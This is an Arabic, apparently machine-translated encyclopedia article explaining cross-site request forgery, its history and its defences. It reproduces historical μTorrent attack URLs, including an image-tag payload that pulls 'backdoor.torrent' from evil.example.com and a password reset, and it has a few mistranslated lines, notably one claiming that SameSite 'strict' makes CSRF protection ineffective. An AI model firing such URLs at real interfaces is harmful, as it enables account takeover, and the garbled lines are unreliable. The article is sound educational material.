تزوير الطلبات عبر المواقع

📅 آخر تحديث: ٢٠ يوليو ٢٠٢٦
✍️ نُشر في: ٢٠ يوليو ٢٠٢٦
📷 يحتوي على 1 صور
الموسوعة الحرة

تزوير الطلبات عبر المواقع ، المعروف أيضًا بهجوم النقرة الواحدة أو استغلال الجلسة ، ويُختصر إلى CSRF (يُنطق أحيانًا سي-سيرف [ 1 ] ) أو XSRF ، هو نوع من الاستغلال الخبيث لموقع ويب أو تطبيق ويب، حيث تُرسل أوامر غير مصرح بها من مستخدم يثق به تطبيق الويب. [ 2 ] هناك طرق عديدة يمكن لموقع ويب خبيث من خلالها إرسال هذه الأوامر؛ على سبيل المثال، يمكن لعلامات الصور المصممة خصيصًا، والنماذج المخفية، وطلبات JavaScript fetch أو XMLHttpRequests، أن تعمل جميعها دون تفاعل المستخدم أو حتى علمه. على عكس البرمجة النصية عبر المواقع (XSS)، التي تستغل ثقة المستخدم في موقع معين، يستغل CSRF ثقة الموقع في متصفح المستخدم. [ 3 ] في هجوم CSRF، يُخدع مستخدم نهائي بريء من قِبل مهاجم لإرسال طلب ويب لم يكن يقصده. قد يؤدي هذا إلى تنفيذ إجراءات على الموقع الإلكتروني والتي يمكن أن تشمل تسريب بيانات العميل أو الخادم عن غير قصد، أو تغيير حالة الجلسة، أو التلاعب بحساب المستخدم النهائي.

يُستخدم مصطلح "CSRF" أيضًا كاختصار في وسائل الدفاع ضد هجمات CSRF، مثل التقنيات التي تستخدم بيانات الرأس أو بيانات النموذج أو ملفات تعريف الارتباط، لاختبار ومنع مثل هذه الهجمات.

صفات

في هجوم تزوير الطلبات عبر المواقع (CSRF)، يهدف المهاجم إلى حثّ ضحية بريئة على إرسال طلب ويب مُصمّم خصيصًا بشكل خبيث إلى موقع ويب تتمتع الضحية بصلاحيات وصول مميزة إليه، دون علمها. يمكن تصميم هذا الطلب ليشمل معلمات عنوان URL وملفات تعريف الارتباط وبيانات أخرى تبدو طبيعية لخادم الويب الذي يعالج الطلب. تُعدّ تطبيقات الويب التي تُنفّذ إجراءات بناءً على مدخلات من مستخدمين موثوقين ومُصادق عليهم، دون اشتراط موافقة المستخدم (مثلًا عبر نافذة تأكيد منبثقة)، مُعرّضة للخطر. قد يُرسل مستخدم مُصادق عليه بواسطة ملف تعريف ارتباط محفوظ في متصفحه طلب HTTP دون علمه إلى موقع يثق به، مما يُؤدي إلى إجراء غير مرغوب فيه.

من الخصائص العامة لمتصفحات الويب أنها تُضمّن تلقائيًا وبشكل غير مرئي أي ملفات تعريف ارتباط (بما في ذلك ملفات تعريف ارتباط الجلسة وغيرها) يستخدمها نطاق معين في أي طلب ويب يُرسل إلى ذلك النطاق. [ 4 ] تُستغل هذه الخاصية في هجمات تزوير الطلبات عبر المواقع (CSRF). في حال تم خداع المستخدم لإرسال طلب عن غير قصد عبر متصفحه، فإن ملفات تعريف الارتباط المُضمّنة تلقائيًا ستجعل الطلب المُزوّر يبدو حقيقيًا لخادم الويب، وسيقوم الخادم بتنفيذ أي إجراءات مطلوبة بشكل صحيح، بما في ذلك إعادة البيانات، أو التلاعب بحالة الجلسة، أو إجراء تغييرات على حساب الضحية.

لكي ينجح هجوم CSRF، يجب على المهاجم تحديد طلب ويب قابل للتكرار يُنفذ إجراءً محددًا، مثل تغيير كلمة مرور حساب على الصفحة المستهدفة. بمجرد تحديد هذا الطلب، يُمكن إنشاء رابط يُولّد هذا الطلب الخبيث، ويُمكن تضمين هذا الرابط في صفحة يتحكم بها المهاجم. [ 1 ] [ 5 ] قد يُوضع هذا الرابط بطريقة لا تتطلب حتى نقر الضحية عليه. على سبيل المثال، يُمكن تضمينه داخل وسم صورة HTML في بريد إلكتروني مُرسل إلى الضحية، والذي سيتم تحميله تلقائيًا عند فتح الضحية لبريدها الإلكتروني. بمجرد نقر الضحية على الرابط، سيقوم متصفحها تلقائيًا بتضمين أي ملفات تعريف ارتباط (cookies) يستخدمها ذلك الموقع الإلكتروني، وإرسال الطلب إلى خادم الويب. لن يتمكن خادم الويب من اكتشاف التزوير لأن الطلب تم تقديمه من قِبل مستخدم مُسجل دخوله، وقام بإرسال جميع ملفات تعريف الارتباط المطلوبة.

يُعد تزوير الطلبات عبر المواقع مثالاً على هجوم نائب مرتبك ضد متصفح الويب لأن متصفح الويب يتم خداعه لإرسال طلب مزور من قبل مهاجم أقل امتيازًا.

تتسم هجمات تزوير الطلبات عبر المواقع (CSRF) عادةً بالخصائص التالية:

تاريخ

عُرفت ثغرات CSRF Token، وفي بعض الحالات استُغلت، منذ عام 2001. [ 6 ] ولأنها تُنفذ من عنوان IP الخاص بالمستخدم ، فقد لا تحتوي سجلات بعض المواقع الإلكترونية على دليل على CSRF. [ 2 ] لا يتم الإبلاغ عن حالات الاستغلال بشكل كافٍ، على الأقل علنًا، وحتى عام 2007 [ 7 ] لم تكن هناك سوى أمثلة قليلة موثقة جيدًا.

  • كان موقع نتفليكس الإلكتروني في عام 2006 يعاني من العديد من الثغرات الأمنية التي تسمح بهجمات تزوير الطلبات عبر المواقع (CSRF)، مما كان من الممكن أن يسمح للمهاجم بتنفيذ إجراءات مثل إضافة قرص DVD إلى قائمة تأجير الضحية، أو تغيير عنوان الشحن في الحساب، أو تعديل بيانات اعتماد تسجيل دخول الضحية لاختراق الحساب بالكامل. [ 8 ]
  • كان تطبيق الخدمات المصرفية عبر الإنترنت الخاص بـ ING Direct عرضة لهجوم CSRF الذي سمح بتحويلات مالية غير مشروعة. [ 9 ]
  • كان موقع يوتيوب الشهير للفيديوهات عرضة أيضاً لهجمات CSRF في عام 2008، مما سمح لأي مهاجم بتنفيذ جميع الإجراءات التي يقوم بها أي مستخدم تقريباً. [ 9 ]
  • كان برنامج McAfee Secure عرضةً لهجمات تزوير الطلبات عبر المواقع (CSRF)، مما سمح للمهاجمين بتغيير نظام الشركة. وقد تم إصلاح هذه الثغرة في الإصدارات الأحدث. [ 10 ]

مثال

صفحة من قاعدة بيانات الثغرات الأمنية الوطنية تصف ثغرة أمنية من نوع CSRF

يستطيع المهاجمون الذين يعثرون على رابط قابل للتكرار يُنفّذ إجراءً مُحددًا على الصفحة المستهدفة أثناء تسجيل دخول الضحية، تضمين هذا الرابط في صفحة يتحكمون بها وخداع الضحية لفتحه. [ 1 ] قد يُوضع رابط الهجوم في مكان يُرجّح أن يزوره الضحية أثناء تسجيل دخوله إلى الموقع المستهدف (مثل منتدى نقاش)، أو يُرسل في نص رسالة بريد إلكتروني بتنسيق HTML أو كمرفق. وقد استغلت ثغرة أمنية حقيقية من نوع CSRF في برنامج μTorrent ( CVE-2008-6586 ) حقيقة أن وحدة تحكم الويب الخاصة به، والتي يُمكن الوصول إليها عبر localhost :8080، سمحت بتنفيذ إجراءات بالغة الأهمية باستخدام طلب GET بسيط.

فرض تنزيل ملف .torrent
http://localhost:8080/gui/?action=add-url & s=http://evil.example.com/backdoor.torrent
قم بتغيير كلمة مرور مسؤول برنامج μTorrent
http://localhost:8080/gui/?action=setsetting & s=webui.password & v=eviladmin

تم شنّ الهجمات عبر وضع عناصر صور HTML خبيثة تعمل تلقائيًا في المنتديات ورسائل البريد الإلكتروني العشوائية ، بحيث تفتح المتصفحات التي تزور هذه الصفحات هذه العناصر تلقائيًا دون تدخل يُذكر من المستخدم. وكان الأشخاص الذين يستخدمون إصدارًا مُعرّضًا للاختراق من برنامج μTorrent بالتزامن مع فتح هذه الصفحات عرضةً للهجوم.

غالباً ما تُشن هجمات CSRF باستخدام علامات الصور من منتديات الإنترنت ، حيث يُسمح للمستخدمين بنشر الصور ولكن ليس جافا سكريبت ، على سبيل المثال باستخدام BBCode :

[img] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/img]

عند الوصول إلى رابط الهجوم لتطبيق μTorrent المحلي على localhost:8080 ، يقوم المتصفح تلقائيًا بإرسال أي ملفات تعريف ارتباط موجودة لهذا النطاق. تُمكّن هذه الخاصية العامة لمتصفحات الويب هجمات CSRF من استغلال الثغرات الأمنية المستهدفة وتنفيذ إجراءات ضارة طالما أن المستخدم مسجل دخوله إلى الموقع المستهدف (في هذا المثال، واجهة الويب المحلية لتطبيق μTorrent) وقت الهجوم.

في مثال μTorrent الموصوف أعلاه، تم تسهيل الهجوم من خلال حقيقة أن واجهة الويب الخاصة بـ μTorrent استخدمت طلب GET لعمليات تغيير الحالة الحرجة (تغيير بيانات الاعتماد، تنزيل ملف، إلخ)، وهو ما يثني عنه RFC 2616 صراحةً: 

على وجه الخصوص، تم الاتفاق على أن طريقتي GET وHEAD لا ينبغي أن تحملا دلالة على اتخاذ إجراء آخر غير الاسترجاع. يجب اعتبار هاتين الطريقتين "آمنتين". يسمح هذا لبرامج المستخدم بتمثيل الطرق الأخرى، مثل POST وPUT وDELETE، بطريقة خاصة، بحيث يُدرك المستخدم أنه يتم طلب إجراء قد يكون غير آمن.

بسبب هذا الافتراض، فإن العديد من آليات منع هجمات تزوير الطلبات عبر المواقع (CSRF) الموجودة في أطر عمل الويب لا تغطي طلبات GET ، بل تطبق الحماية فقط على طرق HTTP التي يُقصد بها تغيير الحالة. [ 11 ]

تزوير طلبات تسجيل الدخول

قد يقوم المهاجم بتزوير طلب تسجيل دخول الضحية إلى موقع ويب مستهدف باستخدام بيانات اعتماده؛ يُعرف هذا النوع من الهجمات باسم " هجوم تزوير الطلبات عبر المواقع " (CRF) . يُتيح هذا النوع من الهجمات إمكانية تنفيذ العديد من الهجمات الجديدة؛ فعلى سبيل المثال، يستطيع المهاجم لاحقًا تسجيل الدخول إلى الموقع باستخدام بيانات اعتماده الأصلية والاطلاع على معلومات خاصة مثل سجل النشاطات المحفوظة في الحساب. وقد تم إثبات هذه الهجمة ضد جوجل [ 12 ] وياهو [ 13 ] .

أفعال HTTP وهجمات تزوير الطلبات عبر المواقع (CSRF)

تختلف طرق طلب HTTP في مدى قابليتها للتأثر بهجمات تزوير الطلبات عبر المواقع (CSRF ) تبعًا لنوعها (نظرًا لاختلاف طريقة معالجتها من قِبل متصفحات الويب ). لذا، فإن التدابير الوقائية ضد الهجوم تعتمد على طريقة طلب HTTP.

  • في بروتوكول HTTP GET، يُعدّ استغلال ثغرة CSRF أمرًا بسيطًا، باستخدام الطرق المذكورة أعلاه، مثل رابط تشعبي بسيط يحتوي على معلمات مُعدّلة ويتم تحميله تلقائيًا بواسطة وسم IMG . مع ذلك، تنصّ مواصفات HTTP على أن استخدام GET يجب أن يكون طريقة آمنة ، أي لا يُغيّر حالة المستخدم في التطبيق بشكلٍ ملحوظ. لذا، ينبغي على التطبيقات التي تستخدم GET لمثل هذه العمليات التحوّل إلى HTTP POST أو استخدام حماية ضدّ CSRF.
  • تعتمد ثغرة HTTP POST التي تؤدي إلى هجمات CSRF على سيناريو الاستخدام:
    • في أبسط أشكال POST مع ترميز البيانات كسلسلة استعلام ( ) يمكن تنفيذ هجوم CSRF بسهولة باستخدام نموذج HTML بسيط ويجب تطبيق تدابير مكافحة CSRF.field1=value1&field2=value2
    • إذا تم إرسال البيانات بأي تنسيق آخر ( JSON ، XML )، فإن الطريقة القياسية هي إرسال طلب POST باستخدام XMLHttpRequest مع منع هجمات CSRF بواسطة سياسة المصدر نفسه (SOP) ومشاركة الموارد عبر المصادر (CORS)؛ وهناك تقنية لإرسال محتوى عشوائي من نموذج HTML بسيط باستخدام ENCTYPEسمة؛ يمكن تمييز هذا الطلب المزيف عن الطلبات المشروعة من خلال text/plainنوع المحتوى، ولكن إذا لم يتم تطبيق ذلك على الخادم، فقد يتم تنفيذ CSRF [ 14 ] [ 15 ]
  • لا يمكن استخدام طرق HTTP الأخرى (PUT، DELETE، إلخ) إلا باستخدام XMLHttpRequest مع سياسة المصدر نفسه (SOP) ومشاركة الموارد عبر المصادر (CORS) لمنع هجمات تزوير الطلبات عبر المواقع (CSRF)؛ ومع ذلك، لن تكون هذه الإجراءات فعالة على مواقع الويب التي تعطلها صراحةً باستخدام Access-Control-Allow-Origin: *رأس HTTP.

مقاربات أخرى لـ CSRF

بالإضافة إلى ذلك، ورغم أن هجمات CSRF تُوصف عادةً بأنها هجمات ثابتة، إلا أنه يمكن أيضًا إنشاؤها ديناميكيًا كجزء من حمولة هجوم البرمجة النصية عبر المواقع ، كما يتضح من دودة Samy ، أو إنشاؤها لحظيًا من معلومات الجلسة المُسرّبة عبر محتوى خارجي وإرسالها إلى الهدف كعنوان URL خبيث. ويمكن أيضًا إرسال رموز CSRF إلى العميل من قِبل المهاجم بسبب تثبيت الجلسة أو ثغرات أمنية أخرى، أو تخمينها عبر هجوم القوة الغاشمة ، وذلك بعرضها على صفحة خبيثة تُولّد آلاف الطلبات الفاشلة. وقد وُصفت فئة هجوم "CSRF الديناميكي"، أو استخدام حمولة لكل عميل لتزوير خاص بالجلسة، [ 16 ] في عام 2009 من قِبل ناثان هاميل وشون موير في مؤتمر BlackHat Briefings، [ 17 ] على الرغم من أن هذا التصنيف لم ينتشر على نطاق واسع بعد.

قدّم أورين عوفر في اجتماع فرع OWASP المحلي في يناير 2012 أسلوبًا جديدًا لتكوين هجمات CSRF الديناميكية بعنوان "AJAX Hammer - CSRF الديناميكي". [ 18 ] [ 19 ]

الآثار

تم إصدار مقاييس الخطورة لثغرات CSRF token التي تؤدي إلى تنفيذ التعليمات البرمجية عن بعد بصلاحيات الجذر [ 20 ] بالإضافة إلى ثغرة أمنية يمكنها اختراق شهادة الجذر ، مما سيؤدي إلى تقويض بنية المفتاح العام بشكل كامل . [ 21 ]

القيود

يجب أن تحدث عدة أمور لكي تنجح عملية تزوير الطلبات عبر المواقع:

  1. يجب على المهاجم استهداف موقع يفتقر إلى الحماية من هجمات تزوير الطلبات عبر المواقع (CSRF)، مثل موقع لا يستخدم رموز CSRF غير المتوقعة ، أو لا يفرض استخدام ملفات تعريف الارتباط SameSite ، أو تجاوز سياسة المصدر نفسه باستخدام مشاركة الموارد عبر المصادر . [ 5 ] [ 22 ]
  2. يجب على المهاجم إيجاد إجراء يُغيّر حالة الموقع المستهدف، مثل إرسال نموذج أو رابط URL يقوم بعملية ما (مثل تحويل الأموال، أو تغيير عنوان البريد الإلكتروني أو كلمة مرور الضحية). [ 5 ] [ 22 ] الإجراءات التي تسترجع البيانات فقط غير مُجدية كأهداف لهجمات تزوير الطلبات عبر المواقع (CSRF)، لأن المهاجم لا يتلقى الاستجابة. [ 22 ]
  3. يجب على المهاجم تحديد القيم الصحيحة لجميع حقول الإدخال في النماذج أو عناوين URL؛ إذا تطلب الأمر أن تكون أي منها قيم مصادقة سرية أو معرّفات لا يستطيع المهاجم تخمينها، فسوف يفشل الهجوم. [ 5 ]
  4. يجب على المهاجم استدراج الضحية إلى صفحة ويب تحتوي على برمجيات خبيثة أثناء تسجيل دخولها إلى الموقع المستهدف. ويجب التحقق من هوية الضحية بطريقة تُضمّن تلقائيًا في طلبات المتصفح، مثل ملف تعريف ارتباط الجلسة . وهذا يُمكّن المهاجم من تضمين عملية التحقق من الهوية في طلباته الخبيثة. [ 5 ] [ 22 ]

الهجوم أعمى: لا يستطيع المهاجم رؤية ما يرسله الموقع المستهدف إلى الضحية استجابةً للطلبات المزورة، إلا إذا استغل ثغرة أمنية من نوع البرمجة النصية عبر المواقع (XSS) أو خللًا آخر في الموقع المستهدف. وبالمثل، لا يستطيع المهاجم استهداف أي روابط أو إرسال أي نماذج تظهر بعد الطلب المزور الأولي إلا إذا كانت تلك الروابط أو النماذج اللاحقة قابلة للتنبؤ بنفس القدر. ويمكن محاكاة أهداف متعددة عن طريق تضمين صور متعددة في الصفحة، أو باستخدام جافا سكريبت لإحداث تأخير بين النقرات. [ 23 ]

وقاية

تعتمد معظم تقنيات منع هجمات تزوير الطلبات عبر المواقع (CSRF) على تضمين بيانات مصادقة إضافية في الطلبات مما يسمح لتطبيق الويب باكتشاف الطلبات الواردة من مواقع غير مصرح بها.

نمط رمز المزامنة

نمط رمز التزامن (STP) هو أسلوبٌ يُضمّن فيه تطبيق الويب رمزًا سريًا وفريدًا لكل طلب في جميع نماذج HTML، ويتم التحقق منه على جانب الخادم. يمكن إنشاء الرمز بأي طريقة تضمن عدم إمكانية التنبؤ به وتفرده (مثل استخدام سلسلة تجزئة ذات بذرة عشوائية ). يُسمى هذا الرمز رمزًا مضادًا للتزوير في ASP.NET . وبالتالي، لا يستطيع المهاجم وضع رمز صحيح في طلباته للتحقق من هويته. [ 1 ] [ 24 ] [ 25 ]

مثال على STP الذي تم تعيينه بواسطة Django في نموذج HTML:

<input type= "hidden" name= "csrfmiddlewaretoken" value= "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

يُعدّ بروتوكول STP الأكثر توافقًا لأنه يعتمد فقط على HTML، ولكنه يُضيف بعض التعقيدات على جانب الخادم، نظرًا للعبء المُصاحب للتحقق من صحة الرمز المميز في كل طلب. ولأن الرمز المميز فريد وغير قابل للتنبؤ، فإنه يفرض أيضًا تسلسلًا مُحددًا للأحداث (مثل الشاشة 1، ثم 2، ثم 3)، مما يُثير مشكلة في سهولة الاستخدام (مثل فتح المستخدم لعدة علامات تبويب). يُمكن التخفيف من هذه المشكلة باستخدام رمز CSRF لكل جلسة بدلًا من رمز CSRF لكل طلب.

قد تستخدم تطبيقات الويب التي تستخدم جافا سكريبت في معظم عملياتها تقنية مكافحة هجمات تزوير الطلبات عبر المواقع (CSRF) التالية:

  • عند الزيارة الأولى دون وجود جلسة خادم مرتبطة، يقوم تطبيق الويب بتعيين ملف تعريف ارتباط. يحتوي ملف تعريف الارتباط عادةً على رمز مميز عشوائي قد يظل كما هو طوال مدة جلسة الويب.
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • يتحقق الخادم من وجود الرمز المميز وسلامته

تعتمد أمان هذه التقنية على افتراض أن جافا سكريبت التي تعمل على جانب العميل من اتصال HTTPS بالخادم الذي أنشأ ملف تعريف الارتباط في البداية هي فقط القادرة على قراءة قيمة ملف تعريف الارتباط. لا ينبغي لجافا سكريبت التي تعمل من ملف أو بريد إلكتروني خبيث أن تتمكن من قراءة قيمة ملف تعريف الارتباط بنجاح لنسخها إلى رأس الطلب المخصص. مع أن ملف تعريف الارتباط csrf-token قد يُرسل تلقائيًا مع الطلب الخبيث، وفقًا لسياسة SameSite لملفات تعريف الارتباط، إلا أن الخادم سيظل يتوقع وجود رأس X-Csrf-Token صالح .

يجب أن يكون رمز CSRF فريدًا وغير قابل للتنبؤ. يمكن إنشاؤه عشوائيًا، أو يمكن اشتقاقه من رمز الجلسة باستخدام HMAC .

csrf_token = HMAC(session_token, application_secret)

يجب ألا تحتوي ملفات تعريف الارتباط الخاصة برمز CSRF على علامة httpOnly ، حيث أنه من المفترض أن تتم قراءتها بواسطة JavaScript بحسب التصميم.

تُطبَّق هذه التقنية بواسطة العديد من الأطر الحديثة، مثل Django [ 26 ] و AngularJS [ 27 ] . ولأن الرمز المميز يظل ثابتًا طوال جلسة المستخدم، فإنه يعمل بشكل جيد مع تطبيقات AJAX ، ولكنه لا يفرض تسلسل الأحداث في تطبيق الويب.

يمكن إحباط الحماية التي توفرها هذه التقنية إذا قام الموقع المستهدف بتعطيل سياسة المصدر نفسه باستخدام إحدى التقنيات التالية:

  • ملف clientaccesspolicy.xml الذي يمنح وصولاً غير مقصود إلى عناصر تحكم Silverlight [ 28 ]
  • ملف crossdomain.xml الذي يمنح وصولاً غير مقصود إلى أفلام فلاش [ 29 ]

على غرار أسلوب ربط ملفات تعريف الارتباط بالرأس، ولكن دون استخدام جافا سكريبت، يمكن للموقع تعيين رمز CSRF كملف تعريف ارتباط، وإدراجه أيضًا كحقل مخفي في كل نموذج HTML. عند إرسال النموذج، يمكن للموقع التحقق من تطابق رمز ملف تعريف الارتباط مع رمز النموذج. تمنع سياسة المصدر نفسه المهاجم من قراءة أو تعيين ملفات تعريف الارتباط على النطاق المستهدف، وبالتالي لا يمكنه وضع رمز صالح في النموذج المُصمم خصيصًا. [ 30 ]

تتميز هذه التقنية عن نمط المزامنة بأنها لا تتطلب تخزين الرمز المميز على الخادم. مع ذلك، إذا كان الموقع المعني يدعم خاصية ضبط ملفات تعريف الارتباط، فيمكن تجاوز هذا الإجراء الوقائي.

يمكن تضمين سمة "SameSite" إضافية عند قيام الخادم بتعيين ملف تعريف ارتباط، لتوجيه المتصفح بشأن ما إذا كان سيتم إرفاق ملف تعريف الارتباط بطلبات المواقع المختلفة. إذا تم تعيين هذه السمة على "strict"، فسيتم إرسال ملف تعريف الارتباط فقط مع طلبات الموقع نفسه، مما يجعل حماية CSRF غير فعالة. ومع ذلك، يتطلب هذا من المتصفح التعرف على السمة وتطبيقها بشكل صحيح. [ 31 ]

ضمانات من جانب العميل

يمكن لإضافات المتصفح، مثل RequestPolicy (لمتصفح موزيلا فايرفوكس ) أو uMatrix (لمتصفحي فايرفوكس وجوجل كروم / كروميوم )، منع هجمات تزوير الطلبات عبر المواقع (CSRF) من خلال تطبيق سياسة رفض افتراضية للطلبات عبر المواقع. مع ذلك، قد يؤثر هذا بشكل كبير على التشغيل الطبيعي للعديد من المواقع. أما إضافة CsFire (المتوفرة أيضًا لمتصفح فايرفوكس)، فتُخفف من تأثير هجمات CSRF مع تقليل تأثيرها على التصفح العادي، وذلك بإزالة معلومات المصادقة من الطلبات عبر المواقع.

تعمل إضافة NoScript لمتصفح Firefox على الحد من مخاطر هجمات تزوير الطلبات عبر المواقع (CSRF) من خلال التمييز بين المواقع الموثوقة وغير الموثوقة، وإزالة بيانات المصادقة والبيانات المُرسلة من طلبات POST التي تُرسلها المواقع غير الموثوقة إلى المواقع الموثوقة. كما تقوم وحدة "فرض حدود التطبيق" في NoScript بحظر الطلبات المُرسلة من صفحات الإنترنت إلى المواقع المحلية (مثل localhost)، مما يمنع هجمات CSRF على الخدمات المحلية (مثل uTorrent) أو أجهزة التوجيه.

لا يوفر ملحق ملفات تعريف الارتباط ذاتية التدمير لمتصفح Firefox حماية مباشرة من هجمات CSRF، ولكنه يمكن أن يقلل من نافذة الهجوم، عن طريق حذف ملفات تعريف الارتباط بمجرد عدم ارتباطها بعلامة تبويب مفتوحة.

تقنيات أخرى

تم استخدام أو اقتراح العديد من التقنيات الأخرى للوقاية من هجمات تزوير الطلبات عبر الإنترنت تاريخياً:

  • التحقق من احتواء رؤوس الطلب على X-Requested-With(يستخدمها Ruby on Rails قبل الإصدار 2.0 و Django قبل الإصدار 1.2.5)، أو التحقق من Refererرأس HTTP و/أو Originرأس HTTP. [ 32 ]
  • يُستخدم فحص ترويسة HTTPReferer للتأكد من أن الطلب وارد من صفحة مُصرّح بها بشكل شائع في أجهزة الشبكة المُدمجة، لأنه لا يزيد من متطلبات الذاكرة. مع ذلك، Refererيجب التعامل مع أي طلب يُغفل هذه الترويسة على أنه غير مُصرّح به، لأن المُهاجم قد يُخفيها Refererبإرسال طلبات من عناوين FTP أو HTTPS. Refererقد يُسبب هذا التحقق الصارم مشاكل مع المتصفحات أو الخوادم الوكيلة التي تُغفل Refererالترويسة لأسباب تتعلق بالخصوصية. كما تسمح الإصدارات القديمة من Flash (قبل 9.0.18) لبرامج Flash الخبيثة بإنشاء طلبات GET أو POST بترويسات HTTP عشوائية باستخدام ثغرة حقن CRLF . [ 33 ] يُمكن استغلال ثغرات حقن CRLF المُشابهة في العميل لتزييف مُحيل طلب HTTP.
  • كان يُنظر إلى طريقة طلب POST لفترة من الزمن على أنها محصنة ضد هجمات CSRF البسيطة التي تستخدم معلمات في عنوان URL (باستخدام طريقة GET). ومع ذلك، يمكن الآن تنفيذ كل من POST وأي طريقة HTTP أخرى بسهولة باستخدام XMLHttpRequest . لا يزال تصفية طلبات GET غير المتوقعة يمنع بعض الهجمات المحددة، مثل هجمات المواقع المتعددة باستخدام عناوين URL للصور أو الروابط الضارة، وتسريب المعلومات عبر المواقع من خلال <script>العناصر ( اختطاف جافا سكريبت )؛ كما يمنع أيضًا المشاكل (غير المتعلقة بالأمان) مع برامج زحف الويب العدوانية وجلب الروابط المسبق . [ 1 ]

تسمح ثغرات البرمجة النصية عبر المواقع (XSS) (حتى في التطبيقات الأخرى التي تعمل على نفس النطاق) للمهاجمين بتجاوز جميع إجراءات الحماية من هجمات تزوير الطلبات عبر المواقع (CSRF) بشكل أساسي. [ 34 ]

انظر أيضاً

مراجع

  1. 1 2 3 4 5 شيفتليت، كريس (13 ديسمبر 2004). "ركن الأمان: تزوير الطلبات عبر المواقع" . php | architect (عبر shiflett.org) . تم الاسترجاع في 3 يوليو 2008 .
  2. 1 2 ريستيك ، إيفان (2005). أباتشي الأمن . أورايلي وسائل الإعلام. ص. 280 . رقم ISBN  0-596-00724-8.
  3. ↑ "ما هو تزوير الطلبات عبر المواقع (CSRF) وكيف يعمل؟ | Synopsys" .
  4. ↑ بارث، آدم (أبريل 2011). آلية إدارة حالة HTTP (تقرير). فريق عمل هندسة الإنترنت.
  5. 1 2 3 4 5 "تزوير الطلبات عبر المواقع (CSRF)" . بورتسويغر . تم الاسترجاع في 19-06-2026 .
  6. ↑ بيرنز، جيسي (2005). "تزوير الطلبات عبر المواقع: مقدمة لنقطة ضعف شائعة في الويب" (ملف PDF) . شركاء أمن المعلومات، ذ.م.م. مؤرشف من الأصل (ملف PDF) بتاريخ 21 يناير 2013. تم الاطلاع عليه بتاريخ 12 ديسمبر 2011 .
  7. ↑ كريستي، ستيف؛ مارتن، روبرت أ. (22 مايو 2007). "توزيعات أنواع الثغرات الأمنية في CVE (الإصدار 1.1)" . مؤسسة MITRE . تم الاسترجاع في 7 يونيو 2008 .
  8. ↑ واشكوش الابن، فرانك (17 أكتوبر 2006). "نتفليكس تُصلح ثغرة تزوير الطلبات عبر المواقع" . مجلة SC . تم الاطلاع عليه بتاريخ 11 فبراير 2019 .
  9. 1 2 ويليام زيلر؛ إدوارد دبليو. فيلتن (أكتوبر 2008). "تزوير الطلبات عبر المواقع: الاستغلال والوقاية" (ملف PDF) . تم الاطلاع عليه بتاريخ 29 مايو 2015 .
  10. ↑ مايك، بيلي (2009). "CSRF: نعم، لا يزال يعمل..." (ملف PDF) . ديفكون.
  11. ↑ "حماية من هجمات تزوير الطلبات عبر المواقع | وثائق Django | Django" . docs.djangoproject.com . تم الاطلاع عليه بتاريخ 21 أغسطس 2015 .
  12. ↑ آدم بارث، وكولين جاكسون، وجون سي. ميتشل، دفاعات قوية ضد تزوير الطلبات عبر المواقع ، وقائع المؤتمر الخامس عشر لجمعية آلات الحوسبة (ACM) حول أمن الحاسوب والاتصالات، ACM 2008
  13. ↑ جوزيف فولز، تزوير طلبات تسجيل الدخول عبر المراقبة السلبية، ياهو. مؤرشف بتاريخ ٢٢ ديسمبر ٢٠١٤ في أرشيف الإنترنت (Wayback Machine).
  14. ↑ "تزوير الطلبات عبر المواقع لطلبات POST ذات نص XML" . pentestmonkey . تم الاطلاع عليه في 4 سبتمبر 2015 .
  15. ↑ شيراج شاه (2008). "اختراق الويب 2.0: حماية تطبيقات Ajax وخدمات الويب" (ملف PDF) . HITB . تم الاطلاع عليه في 4 سبتمبر 2015 .
  16. ↑ "إصلاح أمني - تسليح الويب 2.0" . مؤرشف من الأصل في 28 مايو 2012.
  17. ↑ تم أرشفة CSRF الديناميكية بتاريخ 13 فبراير 2010 على موقع Wayback Machine
  18. ↑ Owasp.org: إسرائيل 2012/01: AJAX Hammer – تسخير تقنية AJAX لهجمات CSRF (مؤرشف في 1 أكتوبر 2013 على Wayback Machine)
  19. ↑ التنزيلات – hasc-research – hasc-research – استضافة مشاريع جوجل . Code.google.com (2013-06-17). تم الاطلاع عليه بتاريخ 2014-04-12.
  20. ↑ "ملاحظة حول الثغرة الأمنية VU#584089 - ثغرات XSRF في cPanel" .
  21. ↑ "ملاحظة الثغرة الأمنية VU#264385 - يسمح OpenCA بتزوير الطلبات عبر المواقع (XSRF)" .
  22. 1 2 3 4 S، كيرستن. "تزوير الطلبات عبر المواقع (CSRF)" . مؤسسة OWASP . تم الاسترجاع في 20 يونيو 2026 .
  23. ↑ "شرح هجمات تزوير الطلبات عبر المواقع (CSRF)" . دليل IONOS الرقمي . تم الاطلاع عليه بتاريخ 26 أبريل 2022 .
  24. ↑ "دليل مختصر للوقاية من هجمات تزوير الطلبات عبر المواقع (CSRF)" . OWASP . تم الاطلاع عليه بتاريخ 19-07-2019 .
  25. ↑ "مقالات فالهالا - تزوير الطلبات عبر المواقع: تبسيط الأمر" . مؤرشف من الأصل في 29 يناير 2014.
  26. ↑ "حماية من هجمات تزوير الطلبات عبر المواقع" . Django. مؤرشف من الأصل بتاريخ 20 يناير 2015. تم الاطلاع عليه بتاريخ 20 يناير 2015 .
  27. ↑ "حماية من هجمات تزوير الطلبات عبر المواقع (XSRF)" . AngularJS . تم الاطلاع عليه بتاريخ 20-01-2015 .
  28. ↑ "إتاحة الخدمة عبر حدود النطاقات" .
  29. ↑ آدمسكي، لوكاس. "توصيات استخدام ملف سياسة النطاقات المتعددة لبرنامج Flash Player - اتصال مطوري Adobe" .
  30. ↑ "حماية ملفات تعريف الارتباط من الإرسال المزدوج" . OWASP.
  31. ↑ "ملفات تعريف الارتباط الخاصة بـ SameSite" . موزيلا. 10 أبريل 2023.
  32. ↑ اقتراح رأس الصفحة الأصلي مؤرشف بتاريخ 8 مارس 2016 في أرشيف الإنترنت (Wayback Machine ). People.mozilla.org. تم الاطلاع عليه بتاريخ 29 يوليو 2013.
  33. ^ "Secunia الاستشارية SA22467" . سيكونيا. 19 أكتوبر 2006 . تم الاسترجاع 11 سبتمبر 2012 .
